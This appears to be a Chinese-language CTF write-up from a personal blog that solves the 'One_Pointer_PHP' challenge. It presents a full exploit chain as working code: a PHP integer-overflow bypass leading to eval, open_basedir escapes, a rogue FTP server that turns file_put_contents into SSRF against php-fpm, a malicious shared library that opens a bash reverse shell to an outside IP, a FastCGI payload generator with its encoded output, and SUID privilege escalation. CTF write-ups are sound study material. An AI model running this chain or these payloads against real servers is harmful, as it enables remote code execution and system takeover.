One_Pointer_PHP


Feature:

  • php 数组 key 溢出
  • glob:// 伪协议绕过 open_basedir 限制
  • ini_set 绕过 open_basedir 限制
  • 利用 ftp 发动 ssrf
  • 攻击 php-fpm 绕过 disabled_funtions
  • 权限提升

首先题目给了源码 www.zip, 包含两个 php 文件:

<?php
// add_api.php
highlight_file(__FILE__);
include "user.php";

if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>
<?php
// user.php
class User{
	public $count;
}
?>

典型的 php 反序列化题目,目标很明显,就是要让 $count[]=1 的值为假,从而进入 else 块执行 eval

这里利用 php key溢出漏洞 来绕过,具体原理可参考之前文章: php key溢出漏洞

测试一下当 count 为 long类型最大值时候就可以绕过去了
payload:

<?php
class User{
	public $count;
}

$user = new User();
$user->count = 9223372036854775806;

echo "data=".urlencode(serialize($user));
// data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

将 payload 当做 cookie 发送过去,成功执行 phpinfo。

在 phpinfo 中可以看到很多 disabled_function,基本能够执行外部程序的都被 ban 掉了。

disable_functions	

stream_socket_client,fsockopen,putenv,pcntl_alarm,
pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,
pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,
pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,
pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,
pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,
syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,
gc_collect_cycles,array_merge_recursive

后来题目放 hint:how to change my euid,看来后期还有提权操作。

phpinfo 中可以看到 open_basedir 被设置为了 /var/www/html,意味着所有的文件包含和读取都被限制在了 /var/www/html 下。

注意到 ini_set 函数没有被过滤,可以用 ini_set + chdir 绕过。

payload:
backdoor=mkdir('decadefirst');chdir('decadefirst');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');

这里也可以采用 glob:// 伪协议来读取某个目录,glob://协议是php5.3.0以后一种查找匹配的文件路径模式。

<?php
$dirs = new DirectoryIterator("glob:///*");
foreach($dirs as $f){
    echo($f->__toString().'<br>');
}

可以看到根目录下面有一个 flag 文件

由于没有权限,暂时无法获取 flag 内容。

接下来攻击 php-fpm 实现权限提升,利用ssrf攻击本地的 php-fpm。在vps上搭建恶意的ftp,骗取目标主机将payload转发到自己的9001端口上,从而执行命令。

攻击原理(以下内容来自: hackdig):
向 PHP-FPM 发送一个任意的二进制数据包,就可以在机器上执行代码。

FTP 协议允许通过 TCP 发送二进制数据包,更准确的说是该协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个特定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。
现在,如果我们传入
?file=ftp://evil-server/file.txt&data=payload
,会发生以下情况:
首先通过 file_put_contents() 函数连接到我们的FTP服务器,并试图使用 file_put_contents() 把文件上传上去。但是我们搭建的恶意的ftp服务器将告诉它把文件发送到 127.0.0.1:9000。这样,我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF了。

先编写一个拓展:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}

编译

gcc hpdoger.c -fPIC -shared -o hpdoger.so

将生成的 hpdoger.so 上传到目标主机的 /tmp 目录中:

backdoor=mkdir('decadefirst');chdir('decadefirst');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');file_put_contents('/tmp/hpdoger.so',file_get_contents('http://xx.xx.xx.xx:60006/hpdoger.so'));

在vps上使用以下搭建恶意的ftp服务器:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

用 nc 监听 2333 端口:

nc -lnvp 2333

生成攻击 php-fpm 所需的 payload:

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9001',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

最后构造如下恶意代码将生成的payload发送到恶意的ftp服务器上:

/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://aaa@xx.xx.xx.xx:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9000%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

此时当ftp建立连接后,会通过被动模式将payload重定向到目标主机本地9001端口的php-fpm上,并成功反弹shell:

但是仍然无法读取 flag ???

这里就要用到题目提示的提权了。

接下来要找到一个具有权限的程序,首先查看具有suid的命令

find / -perm -u=s -type f 2>/dev/null

发现php就有suid,进入交互模式读取flag:

chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');


文章作者: Summer
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer !